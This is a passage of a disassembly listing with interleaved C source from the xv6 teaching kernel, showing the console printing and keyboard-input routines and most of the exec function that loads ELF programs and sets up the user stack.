801006a0 <cprintf+0x40> s = "(null)"; for(; *s; s++) consputc(*s); break; case '%': consputc('%'); 801006ee: e8 fd fc ff ff call 801003f0 <consputc> if (fmt == 0) panic("null fmt"); argp = (uint*)(void*)(&fmt + 1); for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006f3: 83 c3 01 add $0x1,%ebx 801006f6: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006fa: 85 c0 test %eax,%eax 801006fc: 75 eb jne 801006e9 <cprintf+0x89> consputc(c); break; } } if(locking) 801006fe: 8b 45 e0 mov -0x20(%ebp),%eax 80100701: 85 c0 test %eax,%eax 80100703: 74 10 je 80100715 <cprintf+0xb5> release(&cons.lock); 80100705: 83 ec 0c sub $0xc,%esp 80100708: 68 20 a5 10 80 push $0x8010a520 8010070d: e8 de 3c 00 00 call 801043f0 <release> 80100712: 83 c4 10 add $0x10,%esp } 80100715: 8d 65 f4 lea -0xc(%ebp),%esp 80100718: 5b pop %ebx 80100719: 5e pop %esi 8010071a: 5f pop %edi 8010071b: 5d pop %ebp 8010071c: c3 ret 8010071d: 8d 76 00 lea 0x0(%esi),%esi continue; } c = fmt[++i] & 0xff; if(c == 0) break; switch(c){ 80100720: 83 fa 73 cmp $0x73,%edx 80100723: 74 5b je 80100780 <cprintf+0x120> 80100725: 83 fa 78 cmp $0x78,%edx 80100728: 75 1e jne 80100748 <cprintf+0xe8> case 'd': printint(*argp++, 10, 1); break; case 'x': case 'p': printint(*argp++, 16, 0); 8010072a: 8d 46 04 lea 0x4(%esi),%eax 8010072d: 31 c9 xor %ecx,%ecx 8010072f: ba 10 00 00 00 mov $0x10,%edx 80100734: 89 45 e4 mov %eax,-0x1c(%ebp) 80100737: 8b 06 mov (%esi),%eax 80100739: e8 42 fe ff ff call 80100580 <printint> 8010073e: 8b 75 e4 mov -0x1c(%ebp),%esi break; 80100741: eb 9b jmp 801006de <cprintf+0x7e> 80100743: 90 nop 80100744: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi case '%': consputc('%'); break; default: // Print unknown % sequence to draw attention. consputc('%'); 80100748: b8 25 00 00 00 mov $0x25,%eax 8010074d: 89 55 e4 mov %edx,-0x1c(%ebp) 80100750: e8 9b fc ff ff call 801003f0 <consputc> consputc(c); 80100755: 8b 55 e4 mov -0x1c(%ebp),%edx 80100758: 89 d0 mov %edx,%eax 8010075a: e8 91 fc ff ff call 801003f0 <consputc> break; 8010075f: e9 7a ff ff ff jmp 801006de <cprintf+0x7e> 80100764: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s = "(null)"; for(; *s; s++) consputc(*s); break; case '%': consputc('%'); 80100768: b8 25 00 00 00 mov $0x25,%eax 8010076d: e8 7e fc ff ff call 801003f0 <consputc> 80100772: e9 7c ff ff ff jmp 801006f3 <cprintf+0x93> 80100777: 89 f6 mov %esi,%esi 80100779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi case 'x': case 'p': printint(*argp++, 16, 0); break; case 's': if((s = (char*)*argp++) == 0) 80100780: 8d 46 04 lea 0x4(%esi),%eax 80100783: 8b 36 mov (%esi),%esi 80100785: 89 45 e4 mov %eax,-0x1c(%ebp) s = "(null)"; 80100788: b8 78 6f 10 80 mov $0x80106f78,%eax 8010078d: 85 f6 test %esi,%esi 8010078f: 0f 44 f0 cmove %eax,%esi for(; *s; s++) 80100792: 0f be 06 movsbl (%esi),%eax 80100795: 84 c0 test %al,%al 80100797: 74 16 je 801007af <cprintf+0x14f> 80100799: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801007a0: 83 c6 01 add $0x1,%esi consputc(*s); 801007a3: e8 48 fc ff ff call 801003f0 <consputc> printint(*argp++, 16, 0); break; case 's': if((s = (char*)*argp++) == 0) s = "(null)"; for(; *s; s++) 801007a8: 0f be 06 movsbl (%esi),%eax 801007ab: 84 c0 test %al,%al 801007ad: 75 f1 jne 801007a0 <cprintf+0x140> case 'x': case 'p': printint(*argp++, 16, 0); break; case 's': if((s = (char*)*argp++) == 0) 801007af: 8b 75 e4 mov -0x1c(%ebp),%esi 801007b2: e9 27 ff ff ff jmp 801006de <cprintf+0x7e> 801007b7: 89 f6 mov %esi,%esi 801007b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi uint *argp; char *s; locking = cons.locking; if(locking) acquire(&cons.lock); 801007c0: 83 ec 0c sub $0xc,%esp 801007c3: 68 20 a5 10 80 push $0x8010a520 801007c8: e8 73 3b 00 00 call 80104340 <acquire> 801007cd: 83 c4 10 add $0x10,%esp 801007d0: e9 a4 fe ff ff jmp 80100679 <cprintf+0x19> if (fmt == 0) panic("null fmt"); 801007d5: 83 ec 0c sub $0xc,%esp 801007d8: 68 7f 6f 10 80 push $0x80106f7f 801007dd: e8 8e fb ff ff call 80100370 <panic> 801007e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801007e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801007f0 <consoleintr>: #define C(x) ((x)-'@') // Control-x void consoleintr(int (*getc)(void)) { 801007f0: 55 push %ebp 801007f1: 89 e5 mov %esp,%ebp 801007f3: 57 push %edi 801007f4: 56 push %esi 801007f5: 53 push %ebx int c, doprocdump = 0; 801007f6: 31 f6 xor %esi,%esi #define C(x) ((x)-'@') // Control-x void consoleintr(int (*getc)(void)) { 801007f8: 83 ec 18 sub $0x18,%esp 801007fb: 8b 5d 08 mov 0x8(%ebp),%ebx int c, doprocdump = 0; acquire(&cons.lock); 801007fe: 68 20 a5 10 80 push $0x8010a520 80100803: e8 38 3b 00 00 call 80104340 <acquire> while((c = getc()) >= 0){ 80100808: 83 c4 10 add $0x10,%esp 8010080b: 90 nop 8010080c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100810: ff d3 call *%ebx 80100812: 85 c0 test %eax,%eax 80100814: 89 c7 mov %eax,%edi 80100816: 78 48 js 80100860 <consoleintr+0x70> switch(c){ 80100818: 83 ff 10 cmp $0x10,%edi 8010081b: 0f 84 3f 01 00 00 je 80100960 <consoleintr+0x170> 80100821: 7e 5d jle 80100880 <consoleintr+0x90> 80100823: 83 ff 15 cmp $0x15,%edi 80100826: 0f 84 dc 00 00 00 je 80100908 <consoleintr+0x118> 8010082c: 83 ff 7f cmp $0x7f,%edi 8010082f: 75 54 jne 80100885 <consoleintr+0x95> input.e--; consputc(BACKSPACE); } break; case C('H'): case '\x7f': // Backspace if(input.e != input.w){ 80100831: a1 c8 ff 10 80 mov 0x8010ffc8,%eax 80100836: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax 8010083c: 74 d2 je 80100810 <consoleintr+0x20> input.e--; 8010083e: 83 e8 01 sub $0x1,%eax 80100841: a3 c8 ff 10 80 mov %eax,0x8010ffc8 consputc(BACKSPACE); 80100846: b8 00 01 00 00 mov $0x100,%eax 8010084b: e8 a0 fb ff ff call 801003f0 <consputc> consoleintr(int (*getc)(void)) { int c, doprocdump = 0; acquire(&cons.lock); while((c = getc()) >= 0){ 80100850: ff d3 call *%ebx 80100852: 85 c0 test %eax,%eax 80100854: 89 c7 mov %eax,%edi 80100856: 79 c0 jns 80100818 <consoleintr+0x28> 80100858: 90 nop 80100859: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } } break; } } release(&cons.lock); 80100860: 83 ec 0c sub $0xc,%esp 80100863: 68 20 a5 10 80 push $0x8010a520 80100868: e8 83 3b 00 00 call 801043f0 <release> if(doprocdump) { 8010086d: 83 c4 10 add $0x10,%esp 80100870: 85 f6 test %esi,%esi 80100872: 0f 85 f8 00 00 00 jne 80100970 <consoleintr+0x180> procdump(); // now call procdump() wo. cons.lock held } } 80100878: 8d 65 f4 lea -0xc(%ebp),%esp 8010087b: 5b pop %ebx 8010087c: 5e pop %esi 8010087d: 5f pop %edi 8010087e: 5d pop %ebp 8010087f: c3 ret { int c, doprocdump = 0; acquire(&cons.lock); while((c = getc()) >= 0){ switch(c){ 80100880: 83 ff 08 cmp $0x8,%edi 80100883: 74 ac je 80100831 <consoleintr+0x41> input.e--; consputc(BACKSPACE); } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ 80100885: 85 ff test %edi,%edi 80100887: 74 87 je 80100810 <consoleintr+0x20> 80100889: a1 c8 ff 10 80 mov 0x8010ffc8,%eax 8010088e: 89 c2 mov %eax,%edx 80100890: 2b 15 c0 ff 10 80 sub 0x8010ffc0,%edx 80100896: 83 fa 7f cmp $0x7f,%edx 80100899: 0f 87 71 ff ff ff ja 80100810 <consoleintr+0x20> c = (c == '\r') ? '\n' : c; input.buf[input.e++ % INPUT_BUF] = c; 8010089f: 8d 50 01 lea 0x1(%eax),%edx 801008a2: 83 e0 7f and $0x7f,%eax consputc(BACKSPACE); } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; 801008a5: 83 ff 0d cmp $0xd,%edi input.buf[input.e++ % INPUT_BUF] = c; 801008a8: 89 15 c8 ff 10 80 mov %edx,0x8010ffc8 consputc(BACKSPACE); } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; 801008ae: 0f 84 c8 00 00 00 je 8010097c <consoleintr+0x18c> input.buf[input.e++ % INPUT_BUF] = c; 801008b4: 89 f9 mov %edi,%ecx 801008b6: 88 88 40 ff 10 80 mov %cl,-0x7fef00c0(%eax) consputc(c); 801008bc: 89 f8 mov %edi,%eax 801008be: e8 2d fb ff ff call 801003f0 <consputc> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 801008c3: 83 ff 0a cmp $0xa,%edi 801008c6: 0f 84 c1 00 00 00 je 8010098d <consoleintr+0x19d> 801008cc: 83 ff 04 cmp $0x4,%edi 801008cf: 0f 84 b8 00 00 00 je 8010098d <consoleintr+0x19d> 801008d5: a1 c0 ff 10 80 mov 0x8010ffc0,%eax 801008da: 83 e8 80 sub $0xffffff80,%eax 801008dd: 39 05 c8 ff 10 80 cmp %eax,0x8010ffc8 801008e3: 0f 85 27 ff ff ff jne 80100810 <consoleintr+0x20> input.w = input.e; wakeup(&input.r); 801008e9: 83 ec 0c sub $0xc,%esp if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; input.buf[input.e++ % INPUT_BUF] = c; consputc(c); if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ input.w = input.e; 801008ec: a3 c4 ff 10 80 mov %eax,0x8010ffc4 wakeup(&input.r); 801008f1: 68 c0 ff 10 80 push $0x8010ffc0 801008f6: e8 e5 35 00 00 call 80103ee0 <wakeup> 801008fb: 83 c4 10 add $0x10,%esp 801008fe: e9 0d ff ff ff jmp 80100810 <consoleintr+0x20> 80100903: 90 nop 80100904: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; break; case C('U'): // Kill line. while(input.e != input.w && 80100908: a1 c8 ff 10 80 mov 0x8010ffc8,%eax 8010090d: 39 05 c4 ff 10 80 cmp %eax,0x8010ffc4 80100913: 75 2b jne 80100940 <consoleintr+0x150> 80100915: e9 f6 fe ff ff jmp 80100810 <consoleintr+0x20> 8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi input.buf[(input.e-1) % INPUT_BUF] != '\n'){ input.e--; 80100920: a3 c8 ff 10 80 mov %eax,0x8010ffc8 consputc(BACKSPACE); 80100925: b8 00 01 00 00 mov $0x100,%eax 8010092a: e8 c1 fa ff ff call 801003f0 <consputc> case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; break; case C('U'): // Kill line. while(input.e != input.w && 8010092f: a1 c8 ff 10 80 mov 0x8010ffc8,%eax 80100934: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax 8010093a: 0f 84 d0 fe ff ff je 80100810 <consoleintr+0x20> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 80100940: 83 e8 01 sub $0x1,%eax 80100943: 89 c2 mov %eax,%edx 80100945: 83 e2 7f and $0x7f,%edx case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; break; case C('U'): // Kill line. while(input.e != input.w && 80100948: 80 ba 40 ff 10 80 0a cmpb $0xa,-0x7fef00c0(%edx) 8010094f: 75 cf jne 80100920 <consoleintr+0x130> 80100951: e9 ba fe ff ff jmp 80100810 <consoleintr+0x20> 80100956: 8d 76 00 lea 0x0(%esi),%esi 80100959: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi acquire(&cons.lock); while((c = getc()) >= 0){ switch(c){ case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; 80100960: be 01 00 00 00 mov $0x1,%esi 80100965: e9 a6 fe ff ff jmp 80100810 <consoleintr+0x20> 8010096a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } release(&cons.lock); if(doprocdump) { procdump(); // now call procdump() wo. cons.lock held } } 80100970: 8d 65 f4 lea -0xc(%ebp),%esp 80100973: 5b pop %ebx 80100974: 5e pop %esi 80100975: 5f pop %edi 80100976: 5d pop %ebp break; } } release(&cons.lock); if(doprocdump) { procdump(); // now call procdump() wo. cons.lock held 80100977: e9 54 36 00 00 jmp 80103fd0 <procdump> } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; input.buf[input.e++ % INPUT_BUF] = c; 8010097c: c6 80 40 ff 10 80 0a movb $0xa,-0x7fef00c0(%eax) consputc(c); 80100983: b8 0a 00 00 00 mov $0xa,%eax 80100988: e8 63 fa ff ff call 801003f0 <consputc> 8010098d: a1 c8 ff 10 80 mov 0x8010ffc8,%eax 80100992: e9 52 ff ff ff jmp 801008e9 <consoleintr+0xf9> 80100997: 89 f6 mov %esi,%esi 80100999: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801009a0 <consoleinit>: return n; } void consoleinit(void) { 801009a0: 55 push %ebp 801009a1: 89 e5 mov %esp,%ebp 801009a3: 83 ec 10 sub $0x10,%esp initlock(&cons.lock, "console"); 801009a6: 68 88 6f 10 80 push $0x80106f88 801009ab: 68 20 a5 10 80 push $0x8010a520 801009b0: e8 2b 38 00 00 call 801041e0 <initlock> devsw[CONSOLE].write = consolewrite; devsw[CONSOLE].read = consoleread; cons.locking = 1; ioapicenable(IRQ_KBD, 0); 801009b5: 58 pop %eax 801009b6: 5a pop %edx 801009b7: 6a 00 push $0x0 801009b9: 6a 01 push $0x1 void consoleinit(void) { initlock(&cons.lock, "console"); devsw[CONSOLE].write = consolewrite; 801009bb: c7 05 8c 09 11 80 00 movl $0x80100600,0x8011098c 801009c2: 06 10 80 devsw[CONSOLE].read = consoleread; 801009c5: c7 05 88 09 11 80 70 movl $0x80100270,0x80110988 801009cc: 02 10 80 cons.locking = 1; 801009cf: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554 801009d6: 00 00 00 ioapicenable(IRQ_KBD, 0); 801009d9: e8 c2 18 00 00 call 801022a0 <ioapicenable> } 801009de: 83 c4 10 add $0x10,%esp 801009e1: c9 leave 801009e2: c3 ret 801009e3: 66 90 xchg %ax,%ax 801009e5: 66 90 xchg %ax,%ax 801009e7: 66 90 xchg %ax,%ax 801009e9: 66 90 xchg %ax,%ax 801009eb: 66 90 xchg %ax,%ax 801009ed: 66 90 xchg %ax,%ax 801009ef: 90 nop 801009f0 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 801009f0: 55 push %ebp 801009f1: 89 e5 mov %esp,%ebp 801009f3: 57 push %edi 801009f4: 56 push %esi 801009f5: 53 push %ebx 801009f6: 81 ec 0c 01 00 00 sub $0x10c,%esp uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); 801009fc: e8 7f 2d 00 00 call 80103780 <myproc> 80100a01: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp) begin_op(); 80100a07: e8 44 21 00 00 call 80102b50 <begin_op> if((ip = namei(path)) == 0){ 80100a0c: 83 ec 0c sub $0xc,%esp 80100a0f: ff 75 08 pushl 0x8(%ebp) 80100a12: e8 a9 14 00 00 call 80101ec0 <namei> 80100a17: 83 c4 10 add $0x10,%esp 80100a1a: 85 c0 test %eax,%eax 80100a1c: 0f 84 9c 01 00 00 je 80100bbe <exec+0x1ce> end_op(); cprintf("exec: fail\n"); return -1; } ilock(ip); 80100a22: 83 ec 0c sub $0xc,%esp 80100a25: 89 c3 mov %eax,%ebx 80100a27: 50 push %eax 80100a28: e8 43 0c 00 00 call 80101670 <ilock> pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) 80100a2d: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax 80100a33: 6a 34 push $0x34 80100a35: 6a 00 push $0x0 80100a37: 50 push %eax 80100a38: 53 push %ebx 80100a39: e8 12 0f 00 00 call 80101950 <readi> 80100a3e: 83 c4 20 add $0x20,%esp 80100a41: 83 f8 34 cmp $0x34,%eax 80100a44: 74 22 je 80100a68 <exec+0x78> bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); 80100a46: 83 ec 0c sub $0xc,%esp 80100a49: 53 push %ebx 80100a4a: e8 b1 0e 00 00 call 80101900 <iunlockput> end_op(); 80100a4f: e8 6c 21 00 00 call 80102bc0 <end_op> 80100a54: 83 c4 10 add $0x10,%esp } return -1; 80100a57: b8 ff ff ff ff mov $0xffffffff,%eax } 80100a5c: 8d 65 f4 lea -0xc(%ebp),%esp 80100a5f: 5b pop %ebx 80100a60: 5e pop %esi 80100a61: 5f pop %edi 80100a62: 5d pop %ebp 80100a63: c3 ret 80100a64: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) goto bad; if(elf.magic != ELF_MAGIC) 80100a68: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp) 80100a6f: 45 4c 46 80100a72: 75 d2 jne 80100a46 <exec+0x56> goto bad; if((pgdir = setupkvm()) == 0) 80100a74: e8 f7 61 00 00 call 80106c70 <setupkvm> 80100a79: 85 c0 test %eax,%eax 80100a7b: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp) 80100a81: 74 c3 je 80100a46 <exec+0x56> goto bad; // Load program into memory. sz = 0; for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a83: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp) 80100a8a: 00 80100a8b: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi 80100a91: c7 85 ec fe ff ff 00 movl $0x0,-0x114(%ebp) 80100a98: 00 00 00 80100a9b: 0f 84 c5 00 00 00 je 80100b66 <exec+0x176> 80100aa1: 31 ff xor %edi,%edi 80100aa3: eb 18 jmp 80100abd <exec+0xcd> 80100aa5: 8d 76 00 lea 0x0(%esi),%esi 80100aa8: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax 80100aaf: 83 c7 01 add $0x1,%edi 80100ab2: 83 c6 20 add $0x20,%esi 80100ab5: 39 f8 cmp %edi,%eax 80100ab7: 0f 8e a9 00 00 00 jle 80100b66 <exec+0x176> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100abd: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax 80100ac3: 6a 20 push $0x20 80100ac5: 56 push %esi 80100ac6: 50 push %eax 80100ac7: 53 push %ebx 80100ac8: e8 83 0e 00 00 call 80101950 <readi> 80100acd: 83 c4 10 add $0x10,%esp 80100ad0: 83 f8 20 cmp $0x20,%eax 80100ad3: 75 7b jne 80100b50 <exec+0x160> goto bad; if(ph.type != ELF_PROG_LOAD) 80100ad5: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp) 80100adc: 75 ca jne 80100aa8 <exec+0xb8> continue; if(ph.memsz < ph.filesz) 80100ade: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax 80100ae4: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax 80100aea: 72 64 jb 80100b50 <exec+0x160> goto bad; if(ph.vaddr + ph.memsz < ph.vaddr) 80100aec: 03 85 0c ff ff ff add -0xf4(%ebp),%eax 80100af2: 72 5c jb 80100b50 <exec+0x160> goto bad; if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100af4: 83 ec 04 sub $0x4,%esp 80100af7: 50 push %eax 80100af8: ff b5 ec fe ff ff pushl -0x114(%ebp) 80100afe: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b04: e8 b7 5f 00 00 call 80106ac0 <allocuvm> 80100b09: 83 c4 10 add $0x10,%esp 80100b0c: 85 c0 test %eax,%eax 80100b0e: 89 85 ec fe ff ff mov %eax,-0x114(%ebp) 80100b14: 74 3a je 80100b50 <exec+0x160> goto bad; if(ph.vaddr % PGSIZE != 0) 80100b16: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100b1c: a9 ff 0f 00 00 test $0xfff,%eax 80100b21: 75 2d jne 80100b50 <exec+0x160> goto bad; if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100b23: 83 ec 0c sub $0xc,%esp 80100b26: ff b5 14 ff ff ff pushl -0xec(%ebp) 80100b2c: ff b5 08 ff ff ff pushl -0xf8(%ebp) 80100b32: 53 push %ebx 80100b33: 50 push %eax 80100b34: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b3a: e8 c1 5e 00 00 call 80106a00 <loaduvm> 80100b3f: 83 c4 20 add $0x20,%esp 80100b42: 85 c0 test %eax,%eax 80100b44: 0f 89 5e ff ff ff jns 80100aa8 <exec+0xb8> 80100b4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi freevm(oldpgdir); return 0; bad: if(pgdir) freevm(pgdir); 80100b50: 83 ec 0c sub $0xc,%esp 80100b53: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b59: e8 92 60 00 00 call 80106bf0 <freevm> 80100b5e: 83 c4 10 add $0x10,%esp 80100b61: e9 e0 fe ff ff jmp 80100a46 <exec+0x56> if(ph.vaddr % PGSIZE != 0) goto bad; if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) goto bad; } iunlockput(ip); 80100b66: 83 ec 0c sub $0xc,%esp 80100b69: 53 push %ebx 80100b6a: e8 91 0d 00 00 call 80101900 <iunlockput> end_op(); 80100b6f: e8 4c 20 00 00 call 80102bc0 <end_op> ip = 0; // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); 80100b74: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100b7a: 83 c4 0c add $0xc,%esp end_op(); ip = 0; // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); 80100b7d: 05 ff 0f 00 00 add $0xfff,%eax 80100b82: 25 00 f0 ff ff and $0xfffff000,%eax if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100b87: 8d 90 00 20 00 00 lea 0x2000(%eax),%edx 80100b8d: 52 push %edx 80100b8e: 50 push %eax 80100b8f: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b95: e8 26 5f 00 00 call 80106ac0 <allocuvm> 80100b9a: 83 c4 10 add $0x10,%esp 80100b9d: 85 c0 test %eax,%eax 80100b9f: 89 c6 mov %eax,%esi 80100ba1: 75 3a jne 80100bdd <exec+0x1ed> freevm(oldpgdir); return 0; bad: if(pgdir) freevm(pgdir); 80100ba3: 83 ec 0c sub $0xc,%esp 80100ba6: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100bac: e8 3f 60 00 00 call 80106bf0 <freevm> 80100bb1: 83 c4 10 add $0x10,%esp if(ip){ iunlockput(ip); end_op(); } return -1; 80100bb4: b8 ff ff ff ff mov $0xffffffff,%eax 80100bb9: e9 9e fe ff ff jmp 80100a5c <exec+0x6c> struct proc *curproc = myproc(); begin_op(); if((ip = namei(path)) == 0){ end_op(); 80100bbe: e8 fd 1f 00 00 call 80102bc0 <end_op> cprintf("exec: fail\n"); 80100bc3: 83 ec 0c sub $0xc,%esp 80100bc6: 68 a1 6f 10 80 push $0x80106fa1 80100bcb: e8 90 fa ff ff call 80100660 <cprintf> return -1; 80100bd0: 83 c4 10 add $0x10,%esp 80100bd3: b8 ff ff ff ff mov $0xffffffff,%eax 80100bd8: e9 7f fe ff ff jmp 80100a5c <exec+0x6c> // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bdd: 8d 80 00 e0 ff ff lea -0x2000(%eax),%eax 80100be3: 83 ec 08 sub $0x8,%esp sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100be6: 31 ff xor %edi,%edi 80100be8: 89 f3 mov %esi,%ebx // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bea: 50 push %eax 80100beb: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100bf1: e8 1a 61 00 00 call 80106d10 <clearpteu> sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100bf6: 8b 45 0c mov 0xc(%ebp),%eax 80100bf9: 83 c4 10 add $0x10,%esp 80100bfc: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx 80100c02: 8b 00 mov (%eax),%eax 80100c04: 85 c0 test %eax,%eax 80100c06: 74 79 je 80100c81 <exec+0x291> 80100c08: 89 b5 ec fe ff ff mov %esi,-0x114(%ebp) 80100c0e: 8b b5 f0 fe ff ff mov -0x110(%ebp),%esi 80100c14: eb 13 jmp 80100c29 <exec+0x239> 80100c16: 8d 76 00 lea 0x0(%esi),%esi 80100c19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(argc >= MAXARG) 80100c20: 83 ff 20 cmp $0x20,%edi 80100c23: 0f 84 7a ff ff ff je 80100ba3 <exec+0x1b3> goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c29: 83 ec 0c sub $0xc,%esp 80100c2c: 50 push %eax 80100c2d: e8 4e 3a 00 00 call 80104680 <strlen> 80100c32: f7 d0 not %eax 80100c34: 01 c3 add %eax,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c36: 8b 45 0c mov 0xc(%ebp),%eax 80100c39: 5a pop %edx // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { if(argc >= MAXARG) goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c3a: 83 e3 fc and $0xfffffffc,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c3d: ff 34 b8 pushl (%eax,%edi,4) 80100c40: e8 3b 3a 00 00 call 80104680 <strlen> 80100c45: 83 c0 01 add $0x1,%eax 80100c48: 50 push %eax 80100c49: 8b 45 0c mov 0xc(%ebp),%eax 80100c4c: ff 34 b8 pushl (%eax,%edi,4) 80100c4f: 53 push %ebx 80100c50: 56 push %esi 80100c51: e8 2a 62 00 00 call 80106e80 <copyout> 80100c56: 83 c4 20 add $0x20,%esp 80100c59: 85 c0 test %eax,%eax 80100c5b: 0f 88 42 ff ff ff js 80100ba3 <exec+0x1b3> goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100c61: 8b 45 0c mov 0xc(%ebp),%eax if(argc >= MAXARG) goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; ustack[3+argc] = sp; 80100c64: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4) goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100c6b: 83 c7 01 add $0x1,%edi if(argc >= MAXARG) goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; ustack[3+argc] = sp; 80100c6e: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100c74: 8b 04 b8 mov (%eax,%edi,4),%eax 80100c77: 85 c0 test %eax,%eax 80100c79: 75 a5 jne 80100c20 <exec+0x230> 80100c7b: 8b b5 ec fe ff ff mov -0x114(%ebp),%esi } ustack[3+argc] = 0; ustack[0] = 0xffffffff; // fake return PC ustack[1] = argc; ustack[2] = sp - (argc+1)*4; // argv pointer 80100c81: 8d 04 bd 04 00 00 00 lea 0x4(,%edi,4),%eax 80100c88: 89 d9 mov %ebx,%ecx sp = (sp - (strlen(argv[argc]) + 1)) & 